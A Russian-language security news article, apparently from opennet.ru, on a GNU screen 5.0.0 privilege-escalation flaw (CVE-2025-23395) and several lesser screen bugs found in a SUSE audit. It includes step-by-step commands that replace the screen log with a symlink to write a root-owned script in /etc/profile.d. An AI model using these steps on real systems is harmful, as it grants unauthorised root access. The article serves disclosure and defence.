Уязвимость CVE-2025-23395 проявляется только в ветке screen 5.0.0, которая поставляется в Fedora Linux, Arch Linux, NetBSD, OpenBSD и Alpine. В Debian, Ubuntu, RHEL (EPEL 9), Gentoo, FreeBSD, SUSE/openSUSE и OpenWrt продолжает поставляться ветка screen 4.x. Эксплуатация уязвимости возможна в системах, устанавливающих исполняемый файл screen с флагом setuid root, например, в Arch Linux и NetBSD. В Fedora утилита ставится с флагом setgid для получения прав группы screen, позволяющем размещать сокеты в системном каталоге /run/screen, что ограничивает возможности атаки отказом в обслуживании.
Уязвимость вызвана тем, что при запуске с правами root функция logfile_reopen() выполняется до сброса привилегий, но обрабатывает данные в контексте каталогов текущего непривилегированного пользователя, запустившего screen. Примечательно, что начальное открытие лога производится с корректным сбросом привилегий, но при повторном открытии файла с логом сброс привилегий не производится.
Через манипуляции с включением режима журналирования содержимого сеанса пользователь может добиться записи данных в файл с правами root, при том, что сам файл может быть сохранён в домашнем каталоге пользователя. Атака сводится к удалению созданного файла с логом и его замене на символическую ссылку, указывающую на любой файл в системе. Если файл уже существует в него без изменения владельца будут добавлены данные с содержимым экрана в сеансе screen. Если файл не существует — он будет создан с правами 0644, владельцем root и группой как у текущего пользователя.
Алгоритм атаки, создающей файл /etc/profile.d/exploit.sh с командой «chown $USER /root»:
- Создание сеанса screen с включением ведения лога
$ screen -Logfile $HOME/screen.log
- Нажатие комбинации клавиш Сtrl-a-H для включения лога.
- Удаление файла с логом и его замена на символическую ссылку, которая приведёт к созданию файла /etc/profile.d/exploit.sh
$ rm $HOME/screen.log; ln -s /etc/profile.d/exploit.sh $HOME/screen.log
- Возвращение в сеанс screen и вывод на экран данных, которые будут записаны в файл с логом.
$ echo -e "nchown $USER /root;"
- После того как к системе подключится реальный root, запустится сценарий /etc/profile.d/exploit.sh, который поменяет владельца для каталога /root.
$ ls -lhd /root drwxr-x--- 5 user root 4.0K Dec 30 2020 .
- По аналогии можно создать файлы конфигурации sudo или добавить команды в конец системных скриптов.
Менее опасные уязвимости в screen:
- CVE-2025-46802 — перехват устройства TTY в многопользовательских сеансах (пользователь может добиться выставления для устройства /dev/pts/1 прав crw-rw-rw-). Проблема проявляется в ветках screen 4.x и 5.x.
- CVE-2025-46803 — выставление по умолчанию прав 0622 на устройство PTY, допускающих запись любым пользователям. Проблема проявляются только в ветке screen 5.0.
- CVE-2025-46804 — утечка информации о наличии файлов и каталогов в закрытых каталогах (при указании каталога для сокетов, используя переменную окружения SCREENDIR, утилита выдаёт разные тексты ошибок, позволяющие суть о наличии файлов и каталогов с данным именем). Проблема проявляется в ветках screen 4.x и 5.x.
- CVE-2025-46805 — состояние гонки при отправке сигналов SIGCONT и SIGHUP, приводящее к отказу в обслуживании. Проблема проявляется в ветках screen 4.x и 5.x.
- Некорректное использование функции strncpy(), приводящее к аварийному завершению при выполнении специально оформленных команд. Проблема проявляются только в ветке screen 5.0.
Уязвимости выявлены в ходе аудита кодовой базы GNU screen, проведённого командой, отвечающей за безопасность дистрибутива SUSE Linux. Разработчикам screen сведения об уязвимости были отправлены 7 февраля, но за отведённые 90 дней они так и не смогли подготовить исправления для всех уязвимостей и сотрудникам SUSE пришлось подготовить некоторые патчи самостоятельно. По мнению проводивших аудит исследователей, нынешние сопровождающие GNU screen недостаточно хорошо ориентируются в кодовой базе проекта и не способны полностью разобраться в выявленных проблемах безопасности.
Источник: http://www.opennet.ru/opennews/art.shtml?num=63226